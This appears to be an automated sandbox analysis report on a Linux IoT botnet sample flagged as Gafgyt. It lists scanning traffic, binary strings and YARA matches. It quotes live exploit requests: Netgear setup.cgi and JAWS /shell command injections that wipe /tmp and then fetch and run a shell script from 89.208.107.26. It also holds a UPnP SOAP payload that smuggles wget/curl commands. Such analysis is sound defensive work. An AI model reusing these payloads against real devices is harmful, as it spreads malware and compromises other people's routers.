Source: unknown TCP traffic detected without corresponding DNS query: 197.253.209.88
Source: unknown TCP traffic detected without corresponding DNS query: 197.29.52.37
Source: unknown TCP traffic detected without corresponding DNS query: 70.63.178.145
Source: unknown TCP traffic detected without corresponding DNS query: 150.92.69.249
Source: unknown TCP traffic detected without corresponding DNS query: 41.27.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 41.13.45.118
Source: unknown TCP traffic detected without corresponding DNS query: 41.223.64.174
Source: unknown TCP traffic detected without corresponding DNS query: 41.148.33.82
Source: unknown TCP traffic detected without corresponding DNS query: 41.2.97.131
Source: unknown TCP traffic detected without corresponding DNS query: 183.43.26.189
Source: unknown TCP traffic detected without corresponding DNS query: 41.204.146.39
Source: unknown TCP traffic detected without corresponding DNS query: 157.217.143.58
Source: unknown TCP traffic detected without corresponding DNS query: 197.52.39.73
Source: unknown TCP traffic detected without corresponding DNS query: 23.40.227.125
Source: unknown TCP traffic detected without corresponding DNS query: 41.47.41.57
Source: unknown TCP traffic detected without corresponding DNS query: 197.113.229.53
Source: unknown TCP traffic detected without corresponding DNS query: 41.31.8.150
Source: unknown TCP traffic detected without corresponding DNS query: 197.142.227.17
Source: unknown TCP traffic detected without corresponding DNS query: 197.24.182.102
Source: unknown TCP traffic detected without corresponding DNS query: 157.138.121.66
Source: unknown TCP traffic detected without corresponding DNS query: 209.56.13.149
Source: unknown TCP traffic detected without corresponding DNS query: 197.93.78.213
Source: unknown TCP traffic detected without corresponding DNS query: 157.161.216.196
Source: unknown TCP traffic detected without corresponding DNS query: 41.6.155.219
Source: unknown TCP traffic detected without corresponding DNS query: 157.209.18.229
Source: unknown TCP traffic detected without corresponding DNS query: 199.175.243.107
Source: unknown TCP traffic detected without corresponding DNS query: 132.135.248.144
Source: unknown TCP traffic detected without corresponding DNS query: 99.57.121.42
Source: unknown TCP traffic detected without corresponding DNS query: 197.33.255.148
Source: unknown TCP traffic detected without corresponding DNS query: 197.196.94.213
Source: unknown TCP traffic detected without corresponding DNS query: 100.147.53.178
Source: unknown TCP traffic detected without corresponding DNS query: 197.215.205.202
Source: unknown TCP traffic detected without corresponding DNS query: 41.86.246.61
Source: unknown TCP traffic detected without corresponding DNS query: 197.200.96.90
Source: unknown TCP traffic detected without corresponding DNS query: 41.4.241.161
Source: unknown TCP traffic detected without corresponding DNS query: 197.9.246.94
Source: unknown TCP traffic detected without corresponding DNS query: 163.9.15.102
Source: unknown TCP traffic detected without corresponding DNS query: 41.8.7.118
Source: unknown TCP traffic detected without corresponding DNS query: 197.158.147.102
Source: unknown TCP traffic detected without corresponding DNS query: 41.205.69.86
Source: unknown TCP traffic detected without corresponding DNS query: 157.35.93.188
Source: unknown TCP traffic detected without corresponding DNS query: 197.81.195.251
Source: unknown TCP traffic detected without corresponding DNS query: 157.95.211.213
Source: unknown TCP traffic detected without corresponding DNS query: 41.91.188.203
Source: unknown TCP traffic detected without corresponding DNS query: 157.248.71.135
Source: unknown TCP traffic detected without corresponding DNS query: 157.50.186.151
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 08 Jan 2023 15:22:00 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/htmlCache-Control: no-cache, no-storeConnection: closeContent-Length: 690X-Iinfo: 4-368786269-0 0NNN RT(1673191351860 1) q(0 -1 -1 -1) r(0 -1)Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 35 26 78 69 6e 66 6f 3d 34 2d 33 36 38 37 38 36 32 36 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 37 33 31 39 31 33 35 31 38 36 30 25 32 30 31 25 32 39 25 32 30 71 25 32 38 30 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 37 38 33 37 38 32 31 30 36 35 37 30 36 32 36 32 34 34 26 65 64 65 74 3d 39 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 50 4f 53 54 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 37 38 33 37 38 32 31 30 36 35 37 30 36 32 36 32 34 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=5&xinfo=4-368786269-0%200NNN%20RT%281673191351860%201%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-1783782106570626244&edet=9&cinfo=ffffffff&rpinfo=0&mth=POST" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-1783782106570626244</iframe></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 08 Jan 2023 15:22:45 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: closeServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: naZZ0BK2hf.elf String found in binary or memory: http://89.208.107.26/diag00/log21.mips
Source: naZZ0BK2hf.elf String found in binary or memory: http://89.208.107.26/miniupd.sh
Source: naZZ0BK2hf.elf String found in binary or memory: http://89.208.107.26/miniupd.sh;
Source: naZZ0BK2hf.elf String found in binary or memory: http://89.208.107.26/miniupd.sh;$
Source: naZZ0BK2hf.elf String found in binary or memory: http://89.208.107.26/miniupd.sh;chmod$
Source: naZZ0BK2hf.elf String found in binary or memory: http://89.208.107.26/miniupd.sh;sh
Source: naZZ0BK2hf.elf String found in binary or memory: http://purenetworks.com/HNAP1/
Source: naZZ0BK2hf.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: naZZ0BK2hf.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /UD/?9 HTTP/1.1User-Agent: OSIRISContent-Type: text/xmlSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 2f 6d 69 6e 69 75 70 64 2e 73 68 3b 20 73 68 20 77 2e 73 68 3b 20 63 75 72 6c 20 68 74 74 70 3a 2f 2f 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 2f 6d 69 6e 69 75 70 64 2e 73 68 3b 20 73 68 20 63 2e 73 68 3b 20 77 67 65 74 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 2f 6d 69 6e 69 75 70 64 2e 73 68 3b 20 73 68 20 77 67 65 74 2e 73 68 3b 20 63 75 72 6c 20 68 74 74 70 3a 2f 2f 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 2f 6d 69 6e 69 75 70 64 2e 73 68 3b 20 73 68 20 77 67 65 74 2e 73 68 3b 20 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 2f 6d 69 6e 69 75 70 64 2e 73 68 3b 20 73 68 20 77 67 65 74 2e 73 68 3b 20 62 75 73 79 62 6f 78 20 63 75 72 6c 20 68 74 74 70 3a 2f 2f 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 2f 6d 69 6e 69 75 70 64 2e 73 68 3b 20 73 68 20 77 67 65 74 2e 73 68 3b 20 69 70 74 61 62 6c 65 73 20 2d 41 20 49 4e 50 55 54 20 2d 70 20 74 63 70 20 2d 2d 64 65 73 74 69 6e 61 74 69 6f 6e 2d 70 6f 72 74 20 35 35 35 35 20 2d 6a 20 44 52 4f 50 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Dat
Source: unknown DNS traffic detected: queries for: www.toliatypiza.ru
Source: global traffic HTTP traffic detected: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: global traffic HTTP traffic detected: GET /shell?rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/jaws;sh+jaws HTTP/1.1User-Agent: Hello, worldHost: 41.191.81.96:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: naZZ0BK2hf.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6227, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6260, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6274, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6276, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6286, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6293, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6294, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6305, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6314, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6316, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6328, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6330, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6332, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6336, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6357, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6360, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6369, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6373, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6383, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6397, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6399, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6405, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6409, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6411, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6415, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6457, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6459, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6465, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6469, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6477, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6479, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6485, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6487, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6491, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6519, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6525, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6531, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6545, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6547, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6553, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: naZZ0BK2hf.elf, type: SAMPLE Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: naZZ0BK2hf.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6286.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
